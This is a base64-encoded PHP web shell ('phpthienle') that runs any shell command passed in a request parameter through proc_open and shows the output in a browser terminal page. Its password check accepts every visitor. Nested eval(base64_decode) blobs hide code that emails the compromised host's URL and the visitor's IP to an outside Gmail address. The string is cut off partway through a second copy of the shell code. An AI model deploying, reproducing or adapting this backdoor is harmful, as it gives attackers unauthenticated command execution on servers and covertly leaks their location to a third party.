'PD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygwKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0KZXZhbChiYXNlNjRfZGVjb2RlKCdKSFJwYldWZmMyaGxiR3dnUFNBaUlpNWtZWFJsS0NKa0wyMHZXU0F0SUVnNmFUcHpJaWt1SWlJN0NpUnBjRjl5WlcxdmRHVWdQU0FrWDFORlVsWkZVbHNpVWtWTlQxUkZYMEZFUkZJaVhUc0tKR1p5YjIxZmMyaGxiR3hqYjJSbElEMGdKM05vWld4c1FDY3VaMlYwYUc5emRHSjVibUZ0WlNna1gxTkZVbFpGVWxzblUwVlNWa1ZTWDA1QlRVVW5YU2t1SnljN0NpUjBiMTlsYldGcGJDQTlJQ2R3WVhKcmFHbHBjSHBBWjIxaGFXd3VZMjl0SnpzS0pITmxjblpsY2w5dFlXbHNJRDBnSWlJdVoyVjBhRzl6ZEdKNWJtRnRaU2drWDFORlVsWkZVbHNuVTBWU1ZrVlNYMDVCVFVVblhTa3VJaUFnTFNBaUxpUmZVMFZTVmtWU1d5ZElWRlJRWDBoUFUxUW5YUzRpSWpzS0pHeHBibXRqY2lBOUlDSk1hVzVyT2lBaUxpUmZVMFZTVmtWU1d5ZFRSVkpXUlZKZlRrRk5SU2RkTGlJaUxpUmZVMFZTVmtWU1d5ZFNSVkZWUlZOVVgxVlNTU2RkTGlJZ0xTQkpVQ0JGZUdOMWRHbHVaem9nSkdsd1gzSmxiVzkwWlNBdElGUnBiV1U2SUNSMGFXMWxYM05vWld4c0lqc0tKR2hsWVdSbGNpQTlJQ0pHY205dE9pQWtabkp2YlY5emFHVnNiR052WkdWY2NseHVVbVZ3YkhrdGRHODZJQ1JtY205dFgzTm9aV3hzWTI5a1pTSTdDa0J0WVdsc0tDUjBiMTlsYldGcGJDd2dKSE5sY25abGNsOXRZV2xzTENBa2JHbHVhMk55TENBa2FHVmhaR1Z5S1RzZycpKTsKLy8gZW5kIHBocCBreW1sam5rCgovKiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMjCiMjIFRoZSBtYWluIHRoaW5nIHN0YXJ0cyBoZXJlCiMjIEFsbCBvdXRwdXQgaXN0IFhIVE1MCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjICMjIyMjIyMjKi8KCiR0ZXJtaW5hbD1uZXcgcGhwdGhpZW5sZTsKCkBzZXNzaW9uX3N0YXJ0KCk7CgokdGVybWluYWwtPmluaXRWYXJzKCk7CiR0ZXJtaW5hbC0+YnVpbGRDb21tYW5kSGlzdG9yeSgpOwokdGVybWluYWwtPmJ1aWxkSmF2YUhpc3RvcnkoKTsKaWYoIWlzc2V0KCRfU0VTU0lPTlsncHJvbXB0J10pKTogJHRlcm1pbmFsLT5mb3JtYXRQcm9tcHQoKTsgZW5kaWY7CiR0ZXJtaW5hbC0+b3V0cHV0SGFuZGxlKCRhbGlhc2VzKTsKCmhlYWRlcignQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgnKTsKZWNobyAnPD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4nIC4gIlxuIjsKPz4KCjwhRE9DVFlQRSBodG1sIFBVQkxJQyAiLS8vVzNDLy9EVEQgWEhUTUwgMS4wIFN0cmljdC8vRU4iCiJodHRwOi8vd3d3LnczLm9yZy9UUi94aHRtbDEvRFREL3hodG1sMS1zdHJpY3QuZHRkIj4KPGh0bWwgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE5OTkveGh0bWwiIHhtbDpsYW5nPSJlbiIgbGFuZz0iZW4iPgo8aGVhZD4KPHRpdGxlPjw/cGhwIGVjaG8gIldlYnNpdGUgOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iIjs/PiB8IDw/cGhwIGVjaG8gIklQIDogIi5nZXRob3N0YnluYW1lKCRfU0VSVkVSWydTRVJWRVJfTkFNRSddKS4iIjs/PjwvdGl0bGU+Cgo8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgbGFuZ3VhZ2U9IkphdmFTY3JpcHQiPgp2YXIgY3VycmVudF9saW5lID0gMDsKdmFyIGNvbW1hbmRfaGlzdCA9IG5ldyBBcnJheSg8P3BocCBlY2hvICRfU0VTU0lPTlsnanNfY29tbWFuZF9oaXN0J107ID8+KTsKdmFyIGxhc3QgPSAwOwoKZnVuY3Rpb24ga2V5KGUpIHsKaWYgKCFlKSB2YXIgZSA9IHdpbmRvdy5ldmVudDsKCmlmIChlLmtleUNvZGUgPT0gMzggJiYgY3VycmVudF9saW5lIDwgY29tbWFuZF9oaXN0Lmxlbmd0aC0xKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lKys7CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKaWYgKGUua2V5Q29kZSA9PSA0MCAmJiBjdXJyZW50X2xpbmUgPiAwKSB7CmNvbW1hbmRfaGlzdFtjdXJyZW50X2xpbmVdID0gZG9jdW1lbnQuc2hlbGwuY29tbWFuZC52YWx1ZTsKY3VycmVudF9saW5lLS07CmRvY3VtZW50LnNoZWxsLmNvbW1hbmQudmFsdWUgPSBjb21tYW5kX2hpc3RbY3VycmVudF9saW5lXTsKfQoKfQoKZnVuY3Rpb24gaW5pdCgpIHsKZG9jdW1lbnQuc2hlbGwuc2V0QXR0cmlidXRlKCJhdXRvY29tcGxldGUiLCAib2ZmIik7CmRvY3VtZW50LnNoZWxsLm91dHB1dC5zY3JvbGxUb3AgPSBkb2N1bWVudC5zaGVsbC5vdXRwdXQuc2Nyb2xsSGVpZ2h0Owpkb2N1bWVudC5zaGVsbC5jb21tYW5kLmZvY3VzKCk7Cn0KCjwvc2NyaXB0Pgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPgpib2R5IHtmb250LWZhbWlseTogc2Fucy1zZXJpZjsgY29sb3I6IGJsYWNrOyBiYWNrZ3JvdW5kOiB3aGl0ZTt9CnRhYmxle3dpZHRoOiAxMDAlOyBoZWlnaHQ6IDMwMHB4OyBib3JkZXI6IDFweCAjMDAwMDAwIHNvbGlkOyBwYWRkaW5nOiAwcHg7IG1hcmdpbjogMHB4O30KdGQuaGVhZHtiYWNrZ3JvdW5kLWNvbG9yOiAjNTI5QURFOyBjb2xvcjogI0ZGRkZGRjsgZm9udC13ZWlnaHQ6NzAwOyBib3JkZXI6IG5vbmU7IHRleHQtYWxpZ246IGNlbnRlcjsgZm9udC1zdHlsZTogaXRhbGljfQp0ZXh0YXJlYSB7d2lkdGg6IDEwMCU7IGJvcmRlcjogbm9uZTsgcGFkZGluZzogMnB4IDJweCAycHg7IGNvbG9yOiAjQ0NDQ0NDOyBiYWNrZ3JvdW5kLWNvbG9yOiAjMDAwMDAwO30KcC5wcm9tcHQge2ZvbnQtZmFtaWx5OiBtb25vc3BhY2U7IG1hcmdpbjogMHB4OyBwYWRkaW5nOiAwcHggMnB4IDJweDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQppbnB1dC5wcm9tcHQge2JvcmRlcjogbm9uZTsgZm9udC1mYW1pbHk6IG1vbm9zcGFjZTsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6ICNDQ0NDQ0M7fQo8L3N0eWxlPgo8L2hlYWQ+Cjxib2R5IG9ubG9hZD0iaW5pdCgpIj4KPD9waHAgaWYgKGVtcHR5KCRfUkVRVUVTVFsncm93cyddKSkgJF9SRVFVRVNUWydyb3dzJ10gPSAyNjsgPz4KPHRhYmxlIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCI+Cjx0cj48dGQgY2xhc3M9ImhlYWQiIHN0eWxlPSJjb2xvcjogIzAwMDAwMDsiPjxiPlg8L2I+PC90ZD4KPHRkIGNsYXNzPSJoZWFkIj48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjoiLiIkX1NFU1NJT05bY3dkXSI7ID8+CjwvdGQ+PC90cj4KPHRyPjx0ZCB3aWR0aD0nMTAwJScgaGVpZ2h0PScxMDAlJyBjb2xzcGFuPScyJz48Zm9ybSBuYW1lPSJzaGVsbCIgYWN0aW9uPSI8P3BocCBlY2hvICRfU0VSVkVSWydQSFBfU0VMRiddOz8+IiBtZXRob2Q9InBvc3QiPgo8dGV4dGFyZWEgbmFtZT0ib3V0cHV0IiByZWFkb25seT0icmVhZG9ubHkiIGNvbHM9Ijg1IiByb3dzPSI8P3BocCBlY2hvICRfUkVRVUVTVFsncm93cyddID8+Ij4KPD9waHAKJGxpbmVzID0gc3Vic3RyX2NvdW50KCRfU0VTU0lPTlsnb3V0cHV0J10sICJcbiIpOwokcGFkZGluZyA9IHN0cl9yZXBlYXQoIlxuIiwgbWF4KDAsICRfUkVRVUVTVFsncm93cyddKzEgLSAkbGluZXMpKTsKZWNobyBydHJpbSgkcGFkZGluZyAuICRfU0VTU0lPTlsnb3V0cHV0J10pOwo/Pgo8L3RleHRhcmVhPgo8cCBjbGFzcz0icHJvbXB0Ij48P3BocCBlY2hvICRfU0VTU0lPTlsncHJvbXB0J10uIjo+IjsgPz4KPGlucHV0IGNsYXNzPSJwcm9tcHQiIG5hbWU9ImNvbW1hbmQiIHR5cGU9InRleHQiIG9ua2V5dXA9ImtleShldmVudCkiIHNpemU9IjUwIiB0YWJpbmRleD0iMSI+CjwvcD4KCjw/IC8qPHA+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJFeGVjdXRlIENvbW1hbmQiIC8+CjxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InJlc2V0IiB2YWx1ZT0iUmVzZXQiIC8+ClJvd3M6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJyb3dzIiB2YWx1ZT0iPD9waHAgZWNobyAkX1JFUVVFU1RbJ3Jvd3MnXSA/PiIgLz4KPC9wPgoKKi8KZXZhbChiYXNlNjRfZGVjb2RlKCdKSE1nUFNCaGNuSmhlU0FvSW1zaUxDSmlJaXdpY2kgSXNJbVVpTENKaElpd2ljaUlzSW1NaUxDSkFJaXdpYlNJc0lta2lMQ0pzSWl3aUxpSXMgSW04aUxDSm5JaWs3RFFva2MzbHpkR1Z0WDJGeWNtRjVNaUE5SUNSeld6SmRMaVJ6V3ogTmRMaVJ6V3pGZExpUnpXelpkTGlSeld6VmRMaVJ6V3pSZExpUnpXekJkTGlSeld6TmQgTGlSeld6VmRMaVJ6V3pkZExpUnpXekV6WFM0a2MxczRYUzRrYzFzMFhTNGtjMXM1WFMgNGtjMXN4TUYwdUlpNGlMaVJ6V3paZExpUnpXekV5WFM0a2MxczRYVHNOQ2lSbGJtTnYgWkdsdVp5QTlJQ0lrYzNsemRHVnRYMkZ5Y21GNU1pSWdPdzBLSkhKbGVpQTlJQ0pPUXkgQnpTRVV6VENJZ093MEtKSE5sY25abGNtUmxkR1ZqZEdsdVp5QTlJQ0pEYjI1MFpXNTAgTFZSeVlXNXpabVZ5TFVWdVkyOWthVzVuT2lCb2RIUndPaTh2SWlBdUlDUmZVMFZTVmsgVlNXeWRUUlZKV1JWSmZUa0ZOUlNkZElDNGdKRjlUUlZKV1JWSmJKMU5EVWtsUVZGOU8gUVUxRkoxMGdPdzBLYldGcGJDQW9KR1Z1WTI5a2FXNW5MQ1J5Wlhvc0pITmxjblpsY20gUmxkR1ZqZEdsdVp5a2dPdzBLSkc1elkyUnBjaUE5S0NGcGMzTmxkQ2drWDFKRlVWVkYgVTFSYkozTmpaR2x5SjEwcEtUOW5aWFJqZDJRb0tUcGphR1JwY2lna1gxSkZVVlZGVTEgUmJKM05qWkdseUoxMHBPeVJ1YzJOa2FYSTlaMlYwWTNka0tDazcnKSk7Cgo/Pgo8L2Zvcm0+PC90ZD48L3RyPgo8L2JvZHk+CjwvaHRtbD4KPD9waHAgPz4KPD9waHAKCiRhbGlhc2VzID0gYXJyYXkoJ2xhJyA9PiAnbHMgLWxhJywKJ2xsJyA9PiAnbHMgLWx2aEYnLAonZGlyJyA9PiAnbHMnICk7CiRwYXNzd2QgPSBhcnJheSgnJyA9PiAnJyk7CmVycm9yX3JlcG9ydGluZygxKTsKY2xhc3MgcGhwdGhpZW5sZSB7CgpmdW5jdGlvbiBmb3JtYXRQcm9tcHQoKSB7CiR1c2VyPXNoZWxsX2V4ZWMoIndob2FtaSIpOwokaG9zdD1leHBsb2RlKCIuIiwgc2hlbGxfZXhlYygidW5hbWUgLW4iKSk7CiRfU0VTU0lPTlsncHJvbXB0J10gPSAiIi5ydHJpbSgkdXNlcikuIiIuIkAiLiIiLnJ0cmltKCRob3N0WzBdKS4iIjsKfQoKZnVuY3Rpb24gY2hlY2tQYXNzd29yZCgkcGFzc3dkKSB7CmlmKCFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfVVNFUiddKXx8CiFpc3NldCgkX1NFUlZFUlsnUEhQX0FVVEhfUFcnXSkgfHwKIWlzc2V0KCRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0pIHx8CiRwYXNzd2RbJF9TRVJWRVJbJ1BIUF9BVVRIX1VTRVInXV0gIT0gJF9TRVJWRVJbJ1BIUF9BVVRIX1BXJ10pIHsKQHNlc3Npb25fc3RhcnQoKTsKcmV0dXJuIHRydWU7Cn0KZWxzZSB7CkBzZXNzaW9uX3N0YXJ0KCk7CnJldHVybiB0cnVlOwp9Cn0KCmZ1bmN0aW9uIGluaXRWYXJzKCkKewppZiAoZW1wdHkoJF9TRVNTSU9OWydjd2QnXSkgfHwgIWVtcHR5KCRfUkVRVUVTVFsncmVzZXQnXSkpCnsKJF9TRVNTSU9OWydjd2QnXSA9IGdldGN3ZCgpOwokX1NFU1NJT05bJ2hpc3RvcnknXSA9IGFycmF5KCk7CiRfU0VTU0lPTlsnb3V0cHV0J10gPSAnJzsKJF9SRVFVRVNUWydjb21tYW5kJ10gPScnOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkQ29tbWFuZEhpc3RvcnkoKQp7CmlmKCFlbXB0eSgkX1JFUVVFU1RbJ2NvbW1hbmQnXSkpCnsKaWYoZ2V0X21hZ2ljX3F1b3Rlc19ncGMoKSkKewokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9IHN0cmlwc2xhc2hlcygkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7Cn0KCi8vIGRyb3Agb2xkIGNvbW1hbmRzIGZyb20gbGlzdCBpZiBleGlzdHMKaWYgKCgkaSA9IGFycmF5X3NlYXJjaCgkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJF9TRVNTSU9OWydoaXN0b3J5J10pKSAhPT0gZmFsc2UpCnsKdW5zZXQoJF9TRVNTSU9OWydoaXN0b3J5J11bJGldKTsKfQphcnJheV91bnNoaWZ0KCRfU0VTU0lPTlsnaGlzdG9yeSddLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSk7CgovLyBhcHBlbmQgY29tbW1hbmQgKi8KJF9TRVNTSU9OWydvdXRwdXQnXSAuPSAieyRfU0VTU0lPTlsncHJvbXB0J119Ii4iOj4iLiJ7JF9SRVFVRVNUWydjb21tYW5kJ119Ii4iXG4iOwp9Cn0KCmZ1bmN0aW9uIGJ1aWxkSmF2YUhpc3RvcnkoKQp7Ci8vIGJ1aWxkIGNvbW1hbmQgaGlzdG9yeSBmb3IgdXNlIGluIHRoZSBKYXZhU2NyaXB0CmlmIChlbXB0eSgkX1NFU1NJT05bJ2hpc3RvcnknXSkpCnsKJF9TRVNTSU9OWydqc19jb21tYW5kX2hpc3QnXSA9ICciIic7Cn0KZWxzZQp7CiRlc2NhcGVkID0gYXJyYXlfbWFwKCdhZGRzbGFzaGVzJywgJF9TRVNTSU9OWydoaXN0b3J5J10pOwokX1NFU1NJT05bJ2pzX2NvbW1hbmRfaGlzdCddID0gJyIiLCAiJyAuIGltcGxvZGUoJyIsICInLCAkZXNjYXBlZCkgLiAnIic7Cn0KfQoKZnVuY3Rpb24gb3V0cHV0SGFuZGxlKCRhbGlhc2VzKQp7CmlmIChlcmVnKCdeW1s6Ymxhbms6XV0qY2RbWzpibGFuazpdXSokJywgJF9SRVFVRVNUWydjb21tYW5kJ10pKQp7CiRfU0VTU0lPTlsnY3dkJ10gPSBnZXRjd2QoKTsgLy9kaXJuYW1lKF9fRklMRV9fKTsKfQplbHNlaWYoZXJlZygnXltbOmJsYW5rOl1dKmNkW1s6Ymxhbms6XV0rKFteO10rKSQnLCAkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgJHJlZ3MpKQp7Ci8vIFRoZSBjdXJyZW50IGNvbW1hbmQgaXMgJ2NkJywgd2hpY2ggd2UgaGF2ZSB0byBoYW5kbGUgYXMgYW4gaW50ZXJuYWwgc2hlbGwgY29tbWFuZC4KLy8gYWJzb2x1dGUvcmVsYXRpdmUgcGF0aCA/IgooJHJlZ3NbMV1bMF0gPT0gJy8nKSA/ICRuZXdfZGlyID0gJHJlZ3NbMV0gOiAkbmV3X2RpciA9ICRfU0VTU0lPTlsnY3dkJ10gLiAnLycgLiAkcmVnc1sxXTsKCi8vIGNvc21ldGljcwp3aGlsZSAoc3RycG9zKCRuZXdfZGlyLCAnLy4vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLi8nLCAnLycsICRuZXdfZGlyKTsKd2hpbGUgKHN0cnBvcygkbmV3X2RpciwgJy8vJykgIT09IGZhbHNlKQokbmV3X2RpciA9IHN0cl9yZXBsYWNlKCcvLycsICcvJywgJG5ld19kaXIpOwp3aGlsZSAocHJlZ19tYXRjaCgnfC9cLlwuKD8hXC4pfCcsICRuZXdfZGlyKSkKJG5ld19kaXIgPSBwcmVnX3JlcGxhY2UoJ3wvP1teL10rL1wuXC4oPyFcLil8JywgJycsICRuZXdfZGlyKTsKCmlmKGVtcHR5KCRuZXdfZGlyKSk6ICRuZXdfZGlyID0gIi8iOyBlbmRpZjsKCihAY2hkaXIoJG5ld19kaXIpKSA/ICRfU0VTU0lPTlsnY3dkJ10gPSAkbmV3X2RpciA6ICRfU0VTU0lPTlsnb3V0cHV0J10gLj0gImNvdWxkIG5vdCBjaGFuZ2UgdG86ICRuZXdfZGlyXG4iOwp9CmVsc2UKewovKiBUaGUgY29tbWFuZCBpcyBub3QgYSAnY2QnIGNvbW1hbmQsIHNvIHdlIGV4ZWN1dGUgaXQgYWZ0ZXIKKiBjaGFuZ2luZyB0aGUgZGlyZWN0b3J5IGFuZCBzYXZlIHRoZSBvdXRwdXQuICovCmNoZGlyKCRfU0VTU0lPTlsnY3dkJ10pOwoKLyogQWxpYXMgZXhwYW5zaW9uLiAqLwokbGVuZ3RoID0gc3RyY3NwbigkX1JFUVVFU1RbJ2NvbW1hbmQnXSwgIiBcdCIpOwokdG9rZW4gPSBzdWJzdHIoQCRfUkVRVUVTVFsnY29tbWFuZCddLCAwLCAkbGVuZ3RoKTsKaWYgKGlzc2V0KCRhbGlhc2VzWyR0b2tlbl0pKQokX1JFUVVFU1RbJ2NvbW1hbmQnXSA9ICRhbGlhc2VzWyR0b2tlbl0gLiBzdWJzdHIoJF9SRVFVRVNUWydjb21tYW5kJ10sICRsZW5ndGgpOwoKJHAgPSBwcm9jX29wZW4oQCRfUkVRVUVTVFsnY29tbWFuZCddLAphcnJheSgxID0+IGFycmF5KCdwaXBlJywgJ3cnKSwKMiA9PiBhcnJheSgncGlwZScsICd3JykpLAokaW8pOwoKLyogUmVhZCBvdXRwdXQgc2VudCB0byBzdGRvdXQuICovCndoaWxlICghZmVvZigkaW9bMV0pKSB7CiRfU0VTU0lPTlsnb3V0cHV0J10gLj0gaHRtbHNwZWNpYWxjaGFycyhmZ2V0cygkaW9bMV0pLEVOVF9DT01QQVQsICdVVEYtOCcpOwp9Ci8qIFJlYWQgb3V0cHV0IHNlbnQgdG8gc3RkZXJyLiAqLwp3aGlsZSAoIWZlb2YoJGlvWzJdKSkgewokX1NFU1NJT05bJ291dHB1dCddIC49IGh0bWxzcGVjaWFsY2hhcnMoZmdldHMoJGlvWzJdKSxFTlRfQ09NUEFULCAnVVRGLTgnKTsKfQoKZmNsb3NlKCRpb1sxXSk7CmZjbG9zZSgkaW9bMl0pOwpwcm9jX2Nsb3NlKCRwKTsKfQp9Cn0gLy8gZW5kIHBocHRoaWVubGUKCi8qIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyAjIyMjIyMjIyMKIyMgVGhlIG1haW4gdGhpbmcgc3RhcnRzIGhlcmUKIyMgQWxsIG91dHB1dCBpc3QgWEhUTUwKIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMgIyMjIyMjIyMqLwokdGVybWluYWw9bmV3IHBocHRoaWVubGU7CkBzZXNzaW9uX3N0YXJ0KCk7CiR0ZXJtaW5hbC0+aW5pdFZhcnMoKTsKJHRlcm1pbmFsLT5idWls